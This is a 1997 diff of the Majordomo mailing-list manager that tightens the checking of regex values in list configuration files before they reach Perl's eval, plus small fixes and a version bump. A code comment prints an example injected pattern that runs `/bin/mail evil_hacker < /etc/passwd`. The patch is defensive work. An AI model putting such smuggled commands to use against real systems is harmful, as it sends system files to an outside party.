Common subdirectories: ./Tools and ../majordomo-1.94.2.4/Tools
Common subdirectories: ./bin and ../majordomo-1.94.2.4/bin
diff -u ./config_parse.pl ../majordomo-1.94.2.4/config_parse.pl
--- ./config_parse.pl	Sun Apr 20 18:55:53 1997
+++ ../majordomo-1.94.2.4/config_parse.pl	Sun Apr 20 18:56:22 1997
@@ -5,7 +5,7 @@
 # writes into the global variable %main'config_opts
 #
 
-# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.62 1997/03/10 17:19:54 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.63 1997/04/20 16:06:58 cwilson Exp $
 # $Modified: Tue Dec 17 19:29:14 1996 by cwilson $
 
 # this array holds the interesting info for use by all tools
@@ -1088,16 +1088,22 @@
 	    # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy:
 	    # END
 	    #
-	    elsif (($re =~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) &&
-		   $re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$: ){
+	    elsif ($re !~ m:^((/)|m([^\w\s])):) {
  		push(@re_errors,
  		    "|$re| not a valid pattern match expression at line $.\n");
- 	    }
- 	    elsif (eval "'' =~ $re", $@) {
- 		push(@re_errors, $@);
- 	    }
- 	    else {
- 		push(@return_re, $re);
+	    }
+	    else {
+		$dlm=($2||$3);
+		if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) {
+		    push(@re_errors,
+ 		     "|$re| not a valid pattern match expression at line $.\n");
+		}
+		elsif (eval "'' =~ $re", $@) {
+		    push(@re_errors, $@);
+		}
+		else {
+		    push(@return_re, $re);
+		}
 	    }
  	}
 
diff -u ./majordomo ../majordomo-1.94.2.4/majordomo
--- ./majordomo	Sun Apr 20 18:55:53 1997
+++ ../majordomo-1.94.2.4/majordomo	Sun Apr 20 18:56:22 1997
@@ -1,5 +1,5 @@
 #!/bin/perl
-# $Modified: Wed Apr  2 13:30:32 1997 by cwilson $
+# $Modified: Sun Apr 20 18:10:00 1997 by cwilson $
 
 # majordomo: a person who speaks, makes arrangements, or takes charge
 #	for another.
@@ -8,8 +8,8 @@
 #   usage rights.
 #
 # $Source: /sources/cvsrepos/majordomo/majordomo,v $
-# $Revision: 1.85 $
-# $Date: 1997/04/02 11:31:15 $
+# $Revision: 1.87 $
+# $Date: 1997/04/20 16:11:49 $
 # $Author: cwilson $
 # $State: Exp $
 #
@@ -1205,6 +1205,7 @@
 	$list = $_;
 	$list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.)
 	next if /^(RCS|CVS|core)$/;	# files and directories to ignore
+	next if (-d "$listdir/$list"); # skip directories
 
 	&get_config($listdir, $list) if !&cf_ck_bool($list, '', 1);
 
@@ -1621,7 +1622,7 @@
 To contact the owner of a specific list, send mail to that list's
 approval address, which is formed by adding "-approval" to the user-name
 portion of the list's address.  For instance, to contact the list owner
-for demo-list\@$whereami, you would send mail to $list-approval\@$whereami.
+for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami.
 
 To get another copy of this help message, send mail to $whoami
 with a line saying
diff -u ./majordomo_version.pl ../majordomo-1.94.2.4/majordomo_version.pl
--- ./majordomo_version.pl	Sun Apr 20 18:55:54 1997
+++ ../majordomo-1.94.2.4/majordomo_version.pl	Sun Apr 20 18:56:22 1997
@@ -1,5 +1,5 @@
-# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.21 1997/04/07 18:59:16 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $
 
-$majordomo_version = "1.94.2_spin3";
+$majordomo_version = "1.94.2_spin4";
 1;
 
Common subdirectories: ./man and ../majordomo-1.94.2.4/man